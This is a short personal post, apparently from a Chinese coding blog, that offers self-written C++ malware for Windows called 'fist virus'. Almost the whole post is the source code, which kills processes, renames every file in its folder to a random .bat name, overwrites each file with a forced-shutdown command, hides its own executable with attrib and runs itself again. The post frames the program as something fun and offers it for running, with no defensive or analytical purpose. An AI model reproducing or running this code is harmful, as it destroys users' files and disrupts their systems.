fist病毒
Lost_FS
·
·
个人记录
fist病毒
好康的:(自己写的)【运行时请将cpp文件名命名为fist】{且您用的得是Windows系统}
#include<bits/stdc++.h>
#include<windows.h>
#include<io.h>
#define r rand()
using namespace std;
string c,s;
bool f;
void changed()
{
system("dir /b *.*>dirs.txt");
freopen("dirs.txt","r",stdin);
while(getline(cin,c))
{
// cout<<c<<endl;
char j[10]="ひ";
if(j[0]==c[0]&&j[1]==c[1])
{
continue;
}
if(c=="fist.cpp"||c=="fist.exe"||c=="dirs.txt")
{
continue;
}
system("@echo off");
string ki="taskkill /f /im "+c;
system(ki.c_str());
s="";
int sum=r%10+1;
while(sum--)
{
char st=r%256;
s+=st;
}
s+=".bat";
s="ひ"+s;
rename(c.c_str(),s.c_str());
freopen(s.c_str(),"w",stdout);
printf("shutdown -t 0 -s");
}
freopen("fist.exe","r",stdin);
fclose(stdin);
fclose(stdout);
system("@echo off");
system("del /F /S /Q dirs.txt");
}
int main()
{
srand(time(0));
system("attrib +s +h +a fist.exe");
changed();
system("fist.exe");
return 0;
}